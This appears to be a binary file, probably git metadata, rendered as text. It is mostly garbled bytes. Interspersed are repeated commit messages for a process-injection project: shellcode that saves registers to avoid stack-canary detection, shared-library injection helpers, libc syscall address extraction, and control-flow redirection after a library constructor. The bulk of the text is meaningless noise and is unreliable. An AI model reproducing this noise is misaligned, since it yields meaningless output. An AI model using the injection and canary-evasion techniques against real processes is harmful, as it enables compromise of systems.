#<00>!"#<00>K",#<00>K"# #<00><00>" (#<00><00>" 8#<00><00>" @#<00><00>"$P#<00><00>! X#<00><00>" (x#<00><00>! <00>#<00>.# ,<00>
<00><00>! <0A>
<00><00>! 0
<00>!"@
<00>K",H
<00>K"#P
<00><00>" X
<00><00>" h
<00><00>" p
<00><00>"$<00>
<00><00>! <00>
<00><00>" (<00>
<00><00>! <00>
<00>.# ,<00>
<00>e <0C><00>
<00> <09> <00> <00> <09>( <00>e-<2D>0 <00><00>1H <00>P <00><00> h <00><00> <00> <00>+H<00> <00>t X<00> <00><00>5`<00> <00>+H<00> <00><00>`<00> <00><00>` <00>=<05>( <00>e<05>P <00><00>8<>h <00><00>><3E>p <00><00><05><00> <00><00> <00><00><05><00> <00>;<05><00> <00>m<05> <00><00><05>8 <00><00><05><00> <00><08><00> <00><17><00> <00>/<2F><00> <00>]7<><00> 0<00>> 8<00>l 4X<00><00>>Hp<00>l 4x<00><00> H<00><00><00> P<00><00>7L<00><00>\+<<00><00>BL<00><00>L<00><00><00> P<00><00>7 T<00> d0<00>]>H<00>P<00>] `<00><00> (h<00><00>7$<00><00><00>5$<00><00><00>B$<00><00><00>$<00><00><00> (<00><00>7 ,<00><00><00><00><00> h<00><00><00> h<00><00><00> t(<00><00> xP<00>(<0F>h<00>p<00>V <0C><00><00>V <0C><00><00><00><00><00> <0A><00><00> <0A><00><00><00> <0A><00>U ?<3F>(<00>U <09>H<00><00> <09><00><00> <0A>H<00><00> <1A>P<00><00> <0F>`<00><00> <1A>h<00>*!T<><00><00><00>! <0A><00><00><00>! <00><00>!"<00><00>K",<00><00>K"#<00><00><00>" <00><00><00>" <00><00><00>" <00><00>"$<00><00>! <00><00>" (8<00><00>! P<00>.# ,x<00>e <0C><00><00> <09><00><00><00><00> <09><00><00>e-<2D><00><00><00>1<00><00><00><00><00> <00><00><00>  <00>+HP<00>t XX<00><00>5`p<00>+Hx<00><00>`<00><00><00>`<00><00>=<05><00><00>e<05><00><00><00>8<><00><00><00>><3E><00><00><05>0<00>8<00><00><05>P<00>;<05>x<00>m<05><00><00><00><05><00><00><00><05> <00><08>0<00><17>@<00>/<2F>`<00>]7<><00><00> <00><00>> <00><00>l 4<00><00><00>>H<00>l 4<00><00> H<00><00> P <00>7L8<00>\+<@<00>BLH<00>LP<00><00> Pp<00>7 T<00><00> d<00><00>]><00><00><00><00>] <00><00><00> (<00><00><00>7$<00><00>5$<00><00>B$ <00><00>$(<00><00> (H<00>7 ,`<00><00><00><00> h<00><00><00> h<00><00><00><00><00> t<00><00><00> x<00><00>(<0F><00><00><00>V <0C> <00>V <0C>0<00>8<00><00> <0A>P<00> <0A><00><00><00> <0A><00><00>U ?<3F><00><00>U <09><00><00><00> <09><00><00><00> <0A><00><00><00> <1A><00><00><00> <0F><00><00><00> <1A><00><00>*!T<> <00><00>! <0A>(<00><00>! P<00>!"`<00>K",h<00>K"#p<00><00>" x<00><00>" <00><00><00>" <00><00><00>"$<00><00><00>! <00><00><00>" (<00><00><00>! <00><00>.# ,<00>e <0C><00> <09>0<00>8<00> <09>H<00>e-<2D>P<00><00>1h<00>p<00><00> <00><00><00> <00><00>+H<00><00>t X<00><00><00>5`<00>+H<00><00>`<00><00>` <00>=<05>H<00>e<05>p<00><00>8<><00><00><00>><3E><00><00><00><05><00><00><00><00><00><05><00><00>;<05><00>m<05>0<00><00><05>X<00><00><05><00><00><08><00><00><17><00><00>/<2F><00><00>]7<>0<00> P<00>> X<00>l 4x<00><00>>H<00><00>l 4<00><00><00> H<00><00><00> P<00><00>7L<00><00>\+<<00><00>BL<00><00>L<00><00><00> P <00>7 T <00> dP <00>]>h <00>p <00>] <00> <00><00> (<00> <00><00>7$<00> <00><00>5$<00> <00><00>B$<00> <00><00>$<00> <00><00> (<00> <00>7 ,<00> <00>!<00><00> h!<00><00> h(!<00>0!<00><00> tH!<00><00> xp!<00>(<0F><00>!<00><00>!<00>V <0C><00>!<00>V <0C><00>!<00><00>!<00><00> <0A><00>!<00> <0A>"<00><00> <0A>0"<00>U ?<3F>H"<00>U <09>h"<00><00> <09>0#<00><00> <0A>h#<00><00> <1A>p#<00><00> <0F><00>#<00><00> <1A><00>#<00>*!T<><00>#<00><00>! <0A><00>#<00><00>! <00>#<00>!"<00>
Finished extraction of return address from the stack, and libc syscall adress
2022-03-17 19:32:32 -04:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<EFBFBD> <00>(<00> <0F>`<00>p<08>h<00> <00> pp<00>x<00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00><00><16><00><00><00> <0B><00><00><16><00>M+P<>@<00><00>+ <09>H<00><00>+(<28>X<00><00> <1A>`<00>#,<05><00><00><00>,<05><00><00>-<05><00><00><00>-<05>(<00><01>.<00><00>. <00><00>.(<00><00>.P<00>/0$X<00>/$<00><00>/$<00><00>Y/ (<00><00><00><00>h<00><00><00>/4<00><00><00>/ <<00><00><00><00>/<<00><00>/<H<00><00>/>H <00><00>/<H(<00><00>/HH<00><00>/HP<00>00 L<00>0<00><00>0<00>0<00><00>01)<29><00>0I1%<25>s1<00>10(<00>0<00>10<00>02 Ps1G2L`<00>0u2 (h<00>0<00>2 ,<00>s1,3<10><00><00>0F3 <<00>s1r3h<00><00>0<00>3 T<00><00>0<00>3 X<00><00>0<00><00>0d<00>C4<00>4 4<00><00>0<00>4 h<00><00>0<00>4 l <00>05|0<00>053|8<00>058|H<00>05+|P<00>05D|X<00>05H|h<00>05=|p<00>0i5<1B><00><00>0<00>5 <09><00><00>0<00>5 <09><00>s16<18><00><00>0P6 <09><00><00>0<00>6 <09><00><00>0<00>6<05>(<00> <00> p0<00> <00> p8<00>0 7 <09>P<00> <00> pX<00> <00> p`<00> <00> ph<00> <00> pp<00> <00> px<00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00>0&7<05><00>l7<00>7<05><00>l7<00>7<05><00>l78<05>Hl7T8 <09>`l7T8 <09>hl7<00>8 <09><00>l7<00>8!<21><00>l79<1E><00>l7N9(<28><00>l79<1E><00>l7<00>9<08><00>l7<00>9 <09>l7-: l7a: 0s1r3h@l7<00>: Hl7<00>: $Xl7<00><00>0;<05><00><00>0<00>;<08><00><00>0<00>;)<29><00><00>0<00>;-<2D><00>s1<00>10<00><00>0<00>; <00><00>07< <00>0y< <09>(<00>0P<00>0<00><h<00>0<00><<00><00>05=<00><00>0{= <00>s1G2L<00>0<00>= <00>0>  s1r3h0<00>0G> D8<00>0{> HX<00>0<00>>Xh<00>0<00>>7Xp<00>0<00>><X<00><00>0<00>>/X<00><00>0<00>>HX<00><00>0<00>>LX<00><00>0<00>>AX<00><00>0?l<00><00>0A? p<00>l7|?D<00>l7<00>?H<00>l7<00>?L( l7H@\X l7<00>@`x l7<00>@`<00> l7<00>@h<00> <00>@5A<05><00> <00>@<00>A 
<00>@<00>A<12>
<00>@<00>A <0A>8
<00>@<00>A<12>P
<00>@<00>A <0A>h
<00>@<00>A<12><00>
<00>@<00>A <0A><00>
<00>@<00>A<12><00>
<00>@<00>A <0A><00>
l7<00>Ap<00>
l7<00>Ap<00>
l7Bt <00>0 <00>0LB><3E> <00>0LB <0C>( <00>0<00>B <0A>@ s16<18>h <00>0<00>B <0A>x <00>0"C<19><00> l7BC$<24><00> l7<00>C9<> l7<00>C*<2A> l7<00>C<08> l7,D<19><00><00>0SD <0A><00><00>0l7<00>D <09> l7<00>D <09>0l7@<00>0E <09>.(O<00>.PO<00>.<00>O<00>.O<00>.<00>0S1SE1<00>V(3<00>\1<00>\1 V50\e5PVE1<00>SE1<00>S1<00>SE1<00>S1<00>S1XV5h\e5<00>VE1( VD@0 V5X V5x V5<00> VD@<00>
VD@<00>
V5<00>
VD@<00>0<00>P<00>X<00>&<00><00>"<00><00> <00> <00> <00><00><00><00> `<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>*h<00>"<00><00><00><00><00><00><00><00>`]&<00>n<00>r0<00>8|Hh<00><00>%<00><00> <00><00>P<00> <00><00>*`v#<00><>e<00><>c'<00> %<00><>4<00><> <10><00><><00>* <20><00>"<00><><00><00><><00><00><><00>
<00><>\<00> E8<>Q`<60>\<00>; <20><00>)@<40><00>!@<40><00>x<><00><00><>u0<>^ <00><>|H<><00>(P<>P<>p<>l(<00><>z <00><><00><00><><00><00><>x <00><>s ( B<00><><00>'<08><00>0<><00><>@<40><00><><00> <00><><00>*P++<00><>l#<00>~X<>m<00><><00>&<00><00>* <20><00>@<40>%`<60><00>`<60><00><00><><00><00><>B*P<><&<00><>;h<>ep<>Op<>1<00><><00><00><><00><10><00> <00><>0V)<00><>c%<00><><00>(<00>P<00> <00><><00>`b(<00><00>$<00><00> $xD<00>K@, `%<00><00>"x!+<00> Y'<00> R<00>
<00>p<00>
t<00> i <00> <00>&<00> <00><00>  z*0<00>&<00><00><00><00>EA
H<00>)p<00>%<00>!<00><00><00> <00>  L)@<00><00>T <00>K `<00>$<00><00> <00><00>0<00><00><00><00>e n<00><00><00>
h$<00>0 <00>]<00>" <00><00>(<00>P <00> <00>"<00>0"9*<00>3& <00>&0##h# <00>$ *<00>$<00>
8%@%@"<00><00>"@'<00>`'<00><00>')&<00>(6"<00>)><00>*R<00>*\8<00> <00>+<00><00>+H@G% -m!<00>(<00>0-<00><00>-b<00>-i<00>/<00>$<00>/<00>H0<00>p1<00>2g 03<00>P3K
@SP4D<00>4 <00>5/@1<00>'<00>5<00>X6<00>`6<00>`8<00><00>8<00>)`H<00>8l:<00><00>:Z<00>;<00>*<00>;<00>"<00><<00>=<00>@><00><00>9<00>P><00><00>>&*<00>>(<00>@4A<00>)hA<00>!<00>B<00>0C<00>PD<00> pD <00>_pE<00>(<00>E<00> <00>F<00>`B<00>F<00>xG<00> <00>G<00> <00>O(<00>I] <00>I[ <00>Iz K<00> <00>(<00>K1<00>L8M<00>N<00> 8N<00>`O+<00>JF'pO>PkPaRP0RZ%<00><00><00>R<00>SPTw!<00>g*pU<00>&<00>U<00>VI<00>V6<00>W2<00>S.
X<00>)<00>X<00>%<00>X<00><00>Z<00><00>Z=%[q@\w<00>\A ^8  ^E( _e$X_j<00>`<00>\<00><00>`Q (aR0a$0c'Pc<00><00>c<00>'<00>d<00>#pe<00><00>f<00>fW<00>gM <00>g<00>*i<00>&<00>d<00>" i<00><00>i<00><00>i<00>
<00>k]*<00>k<00>8l<00>`m<00>
n& o#"@o <00><00>@p<00>xp<00> <00>q<00> 0m<00><00>q<00>3%HrQ!PrvPt7 pt<00> <00>t<00><00>u<00>v<00><00>w<00><00>w<00>  <00><00><00>#<00>x y0z@<00>u1@z<00><00>z<00>z<00>0<00><00>|<00>}<00>X}<00><00>3'<00>~P# Y@<40>q`<60>x$<00><00>
`<60><00><00><>q <00>e&<00><>r"P~Ђ<00>h<><00>p<><00>p<> &<00><>,<00><>
<10><00><><00>!Ј<00><00><><00><00>l<00><>F(<28> P<>L<00><><00>(`<60><00> <00><><00><00><00><00><00> <20>o <00>`x<><00><00><>h@<40>g`<60><00>'<00><><00><00><><00><00><><00><00><><00>p<><00> <00><><00><00><><00>*<00><>+<00><>O<00><><00>*<08><00>"0<><00>И<00><><00><10>: Hy<10>
*H<>"p<> <00>6<00><>"<18> <20>Bp<00>) <20><00>!@<40><00> <00><><00><00><>g 0)`<60>^<00><>d<00><><00><00><><00> أ<00><00>2(<00><>R$<10>V<00><>f<00><>> <00><>]ȧ0! <20>8<> ة9P!<00>'<00><><00>#<18><00><00>!<18>OP<>Up<>D<10>: <00><>=<00><00><00>L*hP'P"c#<00>"~<00>#v@<00><00>#` X$d`$#`&<00>&
<00>&<00>&(<00>"<00>(<00><00>)<00><00>)fP8
<00>*(+<00><00><00>%@,<00>!<00>'<00>P,<00><00>,<00><00>,<00><00>.Q%/lh/B <00>0s01<00> P2p2<00>p3{<00>3e<00>4<00>`0(<00>4' x5;<00>5N<00>7<00>7<00><00>7
 9<00><00>9<00><00>:+; #<<00>8< `=!<00>8p=<00>>q*><00>@<00>0@0*<00>@-"<00>A2PBIpC<<00>C<00><00>DC)<00>Dd!<00>E{<00>A<00>FY<00>FK <00>F<00><00>(<00>H<00> <00>H<00> I<00>@J<00>Y(<00>J}L<00> L; M XM&<00>N
<00>'J<00>#<00>N<00>(O<00>0O<00> 0Q<00>PQ<00> <00>)p<>u<00>Q{<00>RkpS<00>%X<><00>*<00>T<00>&<00>T<00>!@<40><00><00>U<00><00>U<00>W<00><00>R<00>
 W<00>(<28>*<00>W &<00>WS<00>Y@<00>Y<00><10><00>%8Z<00>`[<00>\<00>  ]<00> @]<00><00><><00><00><><00>(@^<00>$x^<00><00>_<00>0[ <00>_<00> H`<00>P`<00> ȱo$Pbtpb\<00>b<00> <00><>(<00>c
$<00>d/<00>eJ<00>e<00><00><><00> <00>f<00>g<00>
)<00><>+0h='<00>cZ#@hb<00>hc<00>hW <00>j"%h<><00>*kXk<00>l<00>
 m7!P<>x&@n|"`nV8<>@`o+<00>o)<00>p%
Pl<00>pJ <20><00>%hq<00>!pq<00>ps<00> <00>s[<08>[!<00>snu<00><00>u/ <00>vV<00>v5<00><>& ذ\$<00>wT (xyPy<00><00>tr`yI<00>yqz <00><> |& |x|2<00><><00>#<00>}<00>@~<00>`<00><00><00>0<00>(<00><>D <00><>G<00><><00>$x<><00>&<00><><00>"p}<00><00><><00><00><><00><><00><00><><00> `<60>o&<00><><00><08><00>
0<><00>І<00>H<>"<00><><10><00>0<><00><10><00>H<><00> p<><00><00><00><18>:)<00><>H!<18>h <20>P <20>& @<40><00><00><00><00><><00><00><><00>`<60><00><00><><00> <00><><(<00><><00>Я <00><>ؑ7<00>(<00><> <10>
<00><><00><00><><00>'<00><><00><00><><00>Е!(<00><><00>*(<28>G#P<>5<00><>h<10>N0<>A$<00><><00>0<>C p<>T*h<>i"<00><>v <20><00><00><><00>8<><00>@<40>NX<>*@<40>"`<60> <00><> <00><>U@<40><00>)<00><><00><00><><00><00><>p(<28>=<00><>. <00><>C <20>W<10><00>(<00><><00>$0<><00>Ȥ<00>Ф<00> Ц<00><00><>6 <00><>pH<>_p<>H <10>/<00><><00>'0<><00>#P<>LȮ<00>P<><00><00><><00><00><><00> @<40><00><00><><00><00><00>'<00><><00>*X<>*'`<60>Y`<60>_<00><><00>#<00><><00>&د<00><00><00><00><><00><00><><00>
<00><><00><00><> h<>*<00><>&<18>@<40>-а"P<> <00><>
<00><>
P<><00>%<00><><00><10><00> h<>8<>')<00><>*%0<>[P<>cp<>  <20><00> p<><00><00><><00> <08>)(нI$`<60>K <00><>]x<>x<00><>@<00><><00><00><><00>'<00><>.<00><><00>  <20><00><00><><00>ح<00>#<00><><00><00><00>'<00><>F<00>F8<>;`<60>1 <00><>4p<><00>&<08><00>"<10><00><10><00>0<>`"<00><><00><00><>zP<>
p<>p<00><><00>X<><00>%<00><><00>!<00><><00><00><><00><00><><00><00><00> <00><><00><00><>?!<00><>R<00><>:<18><00><00><><00>$@<40><00> <00><><00><00><00> <20><00> ش7 <20>TX<><00><00>
<00>#<00><> <10><00><>%(<28>0<>0<><00>#P<><00><00><><00><00><><00>p<><00>(<00><00><00> <00><00> <00><00> <00><00>*
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><00>"
<00>
<00><00>
<00><00>
8<00>
P<00>
Pw
Updated helpers and added resources to help with lib injection
2022-03-24 15:40:05 -04:00
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><00>)
<00>!
0%
X
<00>
Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.
2022-04-04 17:07:45 -04:00
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>
@<00>
<00><00>)
<00><00>!
<00>
P<00>
<00><00>
Fixed probe not probing correct syscall entry
2022-03-17 19:36:25 -04:00
8
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
)
Fixed probe not probing correct syscall entry
2022-03-17 19:36:25 -04:00
h
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
/!
Fixed probe not probing correct syscall entry
2022-03-17 19:36:25 -04:00
<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
N
 S
@ <00>(
<00><00>$
<00><00>
<00>
<00>
0<00>
@<00>
<00><00>
Fixed probe not probing correct syscall entry
2022-03-17 19:36:25 -04:00
<00><00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00> <00>4<00> <00>&<00> <00>&<00>  &x (<00> Ac <00><00> <00> $<00>  9<00>  H@ .f L3Y T
 <00>E <00><00>) <00><00>% <00>= Y* <00>-'$ <00>- $ (#h  K U  W <00> `
<00>( j <00>$ w ! <00> " <00>  <00>' <00>  <00><00>  <00><00> <00> <00>v( <00><00>$ <00>  )<00> A<00> ['<00> 
l' !<00># 20o b!<00> <00><00> <00><00> <00>0<00> <00><00> <00>"|  <00> \`) rm% <00>,<00>! <00><00> <00><00> <00><00> <00>` <00> 5' U,%# <00><00> <00>w G O <00>/ <00>/ <00>> <00>$ <00>  <00> <00>6<00>& <00>" <00> =G<00> <00>&<00> <00>&<00> <00>&<00> <00><00>
 &<00> ;&F& a5I" <00>&O <00>)o <00>[ * 
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
 <00> <00> P <00> 0 IM <00> <00> <00><00><>t0<00>zh<00>@ <00> p 
<00><00>`<00>0<00> <00> <00>`<00><00><00>(<00><00><00><00><00> <00><00><00><00>0<00><00><00><00><00><00><00>8<00>h<00><00><00><00><00><00><00><00>x<00><00><00><00>0<00><00>8<00>0<00><00><00><00><00><00><00>8<00><00><00><00><00><00><00><00><00><00>h<00><00><00><00><00>0<00>X<00><00><00>(<00><00><00><00><00><00><00>0 <00><00> <00><00>
<00>( <00>H <00><00> <00><00> <00> <00>8 <00>` <00>0 <00>X <00><00> <00><00> <00><00><00><00><00>P<00><00><00><00>0<00><00><00><00><00>p<00>@<00><00><00><00><00> <00>x<00><00><00><00><00><00><00><00><00><00><00>p<00><00><00><00><00>H<00>p<00><00><00>x<00><00><00><00><00><00>P<00><00><00><00>H<00>h<00><00><00><00>0<00>X<00><00><00>P<00>x<00><00>(<00>@<00><00><00> <00>p <00>!<00>0!<00>P"<00><00>"<00><00>"<00><00>#<00>`$<00><00>$<00><00>$<00>@%<00><00>%<00><00>%<00><00>%<00>&<00><00>&<00>'<00><00>'<00><00>'<00><00>'<00>h(<00><00>(<00>)<00><00>)<00><00>)<00><00>*<00>8+<00>p+<00> ,<00><00>,<00>h-<00><00>-<00><00>-<00>(.<00>P.<00>x.<00><00>.<00>p/<00><00>/<00> 0<00>H0<00>`0<00><00>0<00> 1<00><00>1<00>(2<00>P2<00>p3<00><00>3<00>4<00><00>4<00><00>5<00><00>5<00>6<00>`6<00><00>6<00><00>6<00>7<00>07<00>8<00>(8<00><00>8<00><00>8<00><00>8<00><00>9<00><00>9<00> :<00><00>:<00><00>:<00><<00>X<<00><00><<00>@=<00>><00><00>><00><00>><00><00>><00>H?<00>p?<00><00>?<00><00>?<00><00>@<00><00>@<00>@A<00>hA<00><00>A<00>B<00>@B<00><00>B<00>HC<00>pC<00><00>D<00><00>D<00> E<00><00>E<00><00>F<00>G<00>8G<00><00>G<00><00>G<00>H<00>(H<00>PH<00> I<00>HI<00><00>I<00><00>I<00>J<00><00>J<00><00>J<00>@K<00><00>K<00>L<00> M<00>xM<00><00>M<00>`N<00>0O<00><00>O<00><00>O<00>P<00>hP<00><00>P<00><00>P<00><00>P<00><00>Q<00><00>Q<00>`R<00><00>R<00><00>R<00>8S<00>`S<00><00>S<00>hT<00><00>T<00><00>U<00>V<00>@V<00><00>V<00><00>W<00>8X<00>XX<00><00>X<00><00>X<00> Y<00>HY<00>pY<00>@Z<00>hZ<00><00>Z<00>[<00>0[<00><00>[<00><00>[<00>`\<00><00>\<00> ]<00>@^<00><00>^<00><00>^<00><00>_<00>P`<00><00>`<00><00>`<00>0a<00><00>a<00><00>a<00><00>a<00>b<00><00>b<00><00>b<00><00>c<00><00>c<00><00>c<00>Xd<00><00>d<00><00>d<00><00>e<00><00>e<00><00>f<00>(g<00>`g<00>h<00><00>h<00>Xi<00>xi<00><00>i<00>j<00>@j<00>hj<00><00>j<00>`k<00><00>k<00>l<00>8l<00>Pl<00><00>l<00>
<00><00>
<00><00> <00> <00>( <00>p <00><00> <00><00> <00> <00>@ <00><00>8<00><00><00><00><00><00><00><00><00><00>0<00><00><00><00><00><00>h<00><00><00>P<00> <00><00><00><00><00><00>X<00><00><00><00><00><00><00><00><00><00><00>P<00>x<00><00><00>(<00>P<00><00><00>X<00><00><00><00><00><00><00>0<00><00><00><00><00>(<00>H<00><00><00><00><00><00>8<00>`<00>0<00>X<00><00><00> <00> <00><00> <00><00> <00>P!<00><00>!<00>"<00>0#<00><00>#<00><00>#<00>p$<00>@%<00><00>%<00><00>%<00> &<00>x&<00><00>&<00><00>&<00><00>&<00><00>'<00><00>'<00>p(<00><00>(<00><00>(<00>H)<00>p)<00><00>)<00>x*<00><00>*<00><00>+<00>,<00>P,<00>-<00><00>-<00>H.<00>h.<00><00>.<00>/<00>0/<00>X/<00><00>/<00>P0<00>x0<00>1<00>(1<00>@1<00><00>1<00>2<00>p2<00>3<00>03<00>P4<00><00>4<00><00>4<00><00>5<00>`6<00><00>6<00><00>6<00>@7<00><00>7<00><00>7<00><00>7<00>8<00><00>8<00>9<00><00>9<00><00>9<00><00>9<00>h:<00><00>:<00>;<00><00>;<00><00>;<00><00><<00>8=<00>p=<00> ><00><00>><00>h?<00><00>?<00><00>?<00>(@<00>P@<00>x@<00><00>@<00>pA<00><00>A<00> B<00>HB<00>`B<00><00>B<00> C<00><00>C<00>(D<00>PD<00>pE<00><00>E<00>F<00><00>F<00><00>G<00><00>G<00>H<00>`H<00><00>H<00><00>H<00>I<00>0I<00>J<00>(J<00><00>J<00><00>J<00><00>J<00><00>K<00><00>K<00> L<00><00>L<00><00>L<00>N<00>XN<00><00>N<00>@O<00>P<00><00>P<00><00>P<00><00>P<00>HQ<00>pQ<00><00>Q<00><00>Q<00><00>R<00><00>R<00>@S<00>hS<00><00>S<00>T<00>@T<00><00>T<00>HU<00>pU<00><00>V<00><00>V<00> W<00><00>W<00><00>X<00>Y<00>8Y<00><00>Y<00><00>Y<00>Z<00>(Z<00>PZ<00> [<00>H[<00><00>[<00><00>[<00>\<00><00>\<00><00>\<00>@]<00><00>]<00>^<00> _<00>x_<00><00>_<00>``<00>0a<00><00>a<00><00>a<00>b<00>hb<00><00>b<00><00>b<00><00>b<00><00>c<00><00>c<00>`d<00><00>d<00><00>d<00>8e<00>`e<00><00>e<00>hf<00><00>f<00><00>g<00>h<00>@h<00><00>h<00><00>i<00>8j<00>Xj<00><00>j<00><00>j<00> k<00>Hk<00>pk<00>@l<00>hl<00><00>l<00>m<00>0m<00><00>
<00>( <00><00><00><00> <00>@<00>T<00>l<00>x<00><00><00><00><00><00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00> 
<00>,
<00>8
<00>D
<00>P
<00>\
<00>h
<00>t
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>
<00>(
<00>4
<00>@
<00>L
<00>X
<00>d
<00>p
<00>|
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00> 
<00>
<00>$
<00>0
<00><
<00>H
<00>T
<00>`
<00>l
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00> 
<00>,
<00>8
<00>D
<00>P
<00>\
<00>h
<00>t
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
<00><00>
<00><00>
<00><00><00>,<00><<00>L<00>\<00>l<00>|<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>
<00>(
<00>8
<00>H
<00>X
<00>h
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00> <00>0 <00>@ <00>P <00>` <00>p <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00> <00>0 <00>@ <00>P <00>` <00>p <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
<00>
<00>(
<00>8
<00>H
<00>X
<00>h
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00>